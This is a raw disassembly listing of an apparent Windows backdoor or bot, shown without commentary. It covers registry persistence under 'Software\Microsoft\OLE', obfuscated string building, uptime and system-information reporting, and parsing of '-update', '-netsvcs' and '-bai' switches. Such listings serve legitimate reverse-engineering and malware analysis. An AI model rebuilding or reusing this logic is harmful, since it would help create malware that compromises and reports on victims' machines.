		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_511764
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019C4
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017EE
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		nop
		call	near ptr 2950000h
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_511740
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017EE
		mov	ebp, dword_51176C
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_404CC0	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h
		dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h,	104h, 4C244C8Dh
		dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 0A46EE850h, 6A90023Fh
		dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
		dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh,	17424h
		dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h,	4C8D50FFh
		dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh,	14244C8Dh
		dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h
		dd 0A4E850FFh, 90023EB0h, 1024548Dh, 78244C8Dh,	3F6852h
		dd 6A000Fh, 0FFBBD9E8h,	26850FFh, 0FF800000h, 6A006AD6h
		dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
		dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h
		dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
		dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
		dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
		dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h
		dd 249C8814h, 174h, 0FFB56DE8h,	10468FFh, 4680000h, 8D000001h
		dd 0E84C244Ch, 0FFFFBFA5h, 2DE89050h, 6A023FA3h, 6A056A00h
		dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
		dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h
		dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh
		dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h
		dd 50FFFFB9h, 0AF5DE890h, 448D023Eh, 4C8D1024h,	68507824h
		dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
		dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h
		dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
		dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
		dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
		dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h
		dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
		dd 0FFFFBE61h, 0E9E89050h, 6A023FA1h, 6A056A00h, 6A056A18h
		dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h
		dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h,	0FFB9A5E8h
		dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h
		dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h,	17424h
		dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h,	0AE1DE890h
		dd 4C8D023Eh, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h
		dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
		dd 146A056Ah, 46A016Ah,	156A106Ah, 476A046Ah, 4824548Dh
		dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h
		dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh,	9C881424h
		dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
		dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
		dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h
		dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h
		dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h
		dd 104h, 4C244C8Dh, 0FFBD14E8h,	0E89050FFh, 23FA09Ch, 56A006Ah
		dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
		dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
		dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch
		dd 444684h, 0B07BE851h,	0C483FFFFh, 244C8D10h, 249C8814h
		dd 174h, 0FFB261E8h, 244C8DFFh,	0B6BDE844h, 0E850FFFFh
		dd 23EACCFh, 24548D90h,	244C8D10h, 3F685278h, 6A000F00h
		dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
		dd 0B6A276Ah, 16A136Ah,	3024448Dh, 0E8502E6Ah, 0FFFFB9B8h
		dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h
		dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh
		dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h,	6A0F6A0Eh
		dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h
		dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh
		dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h
		dd 468FFFFh, 68000001h,	104h, 4C244C8Dh, 0FFBBD4E8h, 0E89050FFh
		dd 23F9F5Ch, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
		dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h,	0C483FFFFh
		dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h
		dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h
		dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h
		dd 244C8DFFh, 0B57DE844h, 0E850FFFFh, 23EAB8Fh,	24448D90h
		dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h,	6850FFFFh
		dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
		dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh
		dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h
		dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh
		dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh
		dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h
		dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h
		dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh,	0B0FFFFB0h
		dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_406730	proc near		; CODE XREF: sub_40195Bj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_406730
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_40142E
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406781
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_402112
		mov	[esp+38h+var_28], ebp
		jmp	loc_406827
; ---------------------------------------------------------------------------


loc_406781:				; CODE XREF: sub_406730+3Aj
		nop
		call	near ptr 27F0BB0h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_406813
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		jmp	short loc_406823
; ---------------------------------------------------------------------------


loc_406813:				; CODE XREF: sub_406730+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_448F40
		mov	ecx, esi
		call	sub_401870


loc_406823:				; CODE XREF: sub_406730+E1j
		mov	[esp+38h+var_28], ebp


loc_406827:				; CODE XREF: sub_406730+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_406730	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4068A0:				; CODE XREF: ___:00401672j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_448F40
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4068E0	proc near		; CODE XREF: sub_401F5Aj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4068E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_40142E
		mov	[esp+1A4h+var_4], 1
		call	near ptr 27F0BB0h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		nop
		call	near ptr 2830000h
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		call	near ptr 2820000h
		nop
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_4069AE
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406996
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406986
		mov	ebp, offset a95	; "95"
		jmp	loc_406A21
; ---------------------------------------------------------------------------


loc_406986:				; CODE XREF: sub_4068E0+9Aj
		cmp	eax, 2
		jnz	loc_406A1D
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_4069EA
; ---------------------------------------------------------------------------


loc_406996:				; CODE XREF: sub_4068E0+8Ej
		cmp	eax, 0Ah
		jnz	short loc_4069A2
		mov	ebp, offset a98	; "98"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069A2:				; CODE XREF: sub_4068E0+B9j
		cmp	eax, 5Ah
		jnz	short loc_4069DB
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069AE:				; CODE XREF: sub_4068E0+83j
		cmp	eax, 5
		jnz	short loc_4069DB
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_4069C5
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069C5:				; CODE XREF: sub_4068E0+DCj
		cmp	eax, 1
		jnz	short loc_4069D1
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069D1:				; CODE XREF: sub_4068E0+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_4069E0


loc_4069DB:				; CODE XREF: sub_4068E0+C5j
					; sub_4068E0+D1j
		mov	ebp, offset a??? ; "???"


loc_4069E0:				; CODE XREF: sub_4068E0+C0j
					; sub_4068E0+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_406A21


loc_4069EA:				; CODE XREF: sub_4068E0+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_406A21
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		nop
		call	sub_5F67AE
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_406A21
; ---------------------------------------------------------------------------


loc_406A1D:				; CODE XREF: sub_4068E0+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_406A21:				; CODE XREF: sub_4068E0+A1j
					; sub_4068E0+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		nop
		call	near ptr 2811098h
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		nop
		call	near ptr 2940000h
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017FD
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_4068E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BF0	proc near		; CODE XREF: sub_4015E6j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406C20:				; CODE XREF: ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401447
		test	byte ptr [esp+8], 1
		jz	short loc_406C38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C38:				; CODE XREF: ___:00406C2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C50	proc near		; CODE XREF: sub_401447j
		mov	dword ptr [ecx], offset	off_43F008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C67
		push	ecx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C67:				; CODE XREF: sub_406C50+Ej
		retn
sub_406C50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C80	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C80
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406CB1
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406CB1:				; CODE XREF: sub_406C80+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
sub_406C80	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_511B00
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_444600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D62:				; CODE XREF: ___:00406D74j
		push	offset asc_444600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D62
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F68
		lea	ebp, [esp+58h]


loc_406D88:				; CODE XREF: ___:00406F60j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4447EC
		mov	eax, edi


loc_406D92:				; CODE XREF: ___:00406DB0j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DB6
		test	cl, cl
		jz	short loc_406DB2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DB6
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D92


loc_406DB2:				; CODE XREF: ___:00406D9Cj
		xor	eax, eax
		jmp	short loc_406DBB
; ---------------------------------------------------------------------------


loc_406DB6:				; CODE XREF: ___:00406D98j
					; ___:00406DA6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DBB:				; CODE XREF: ___:00406DB4j
		test	eax, eax
		jz	loc_406F58
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406DCA:				; CODE XREF: ___:00406DE8j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DEE
		test	cl, cl
		jz	short loc_406DEA
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DEE
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DCA


loc_406DEA:				; CODE XREF: ___:00406DD4j
		xor	eax, eax
		jmp	short loc_406DF3
; ---------------------------------------------------------------------------


loc_406DEE:				; CODE XREF: ___:00406DD0j
					; ___:00406DDEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DF3:				; CODE XREF: ___:00406DECj
		test	eax, eax
		jnz	short loc_406E00
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E00:				; CODE XREF: ___:00406DF5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406E07:				; CODE XREF: ___:00406E25j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E2B
		test	cl, cl
		jz	short loc_406E27
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E2B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E07


loc_406E27:				; CODE XREF: ___:00406E11j
		xor	eax, eax
		jmp	short loc_406E30
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: ___:00406E0Dj
					; ___:00406E1Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E30:				; CODE XREF: ___:00406E29j
		test	eax, eax
		jnz	short loc_406E3D
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E3D:				; CODE XREF: ___:00406E32j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406E44:				; CODE XREF: ___:00406E62j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E68
		test	cl, cl
		jz	short loc_406E64
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E68
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E44


loc_406E64:				; CODE XREF: ___:00406E4Ej
		xor	eax, eax
		jmp	short loc_406E6D
; ---------------------------------------------------------------------------


loc_406E68:				; CODE XREF: ___:00406E4Aj
					; ___:00406E58j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E6D:				; CODE XREF: ___:00406E66j
		test	eax, eax
		jnz	loc_406F58
		lea	ecx, [esp+10h]
		call	sub_40142E
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_406F44
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015E1
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406F44
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_40168B
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406F44:				; CODE XREF: ___:00406EA1j
					; ___:00406EF1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F58:				; CODE XREF: ___:00406DBDj
					; ___:00406DFBj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D88
		xor	ecx, ecx


loc_406F68:				; CODE XREF: ___:00406D7Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F75
		mov	[ebx+5], ecx


loc_406F75:				; CODE XREF: ___:00406F70j
		cmp	[ebx+5], ecx
		jnz	short loc_406F85
		test	al, al
		jz	short loc_406F85
		mov	dword ptr [ebx+5], 0Ah


loc_406F85:				; CODE XREF: ___:00406F78j
					; ___:00406F7Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
byte_406FB0	db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407080	proc near		; CODE XREF: sub_4020BDj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
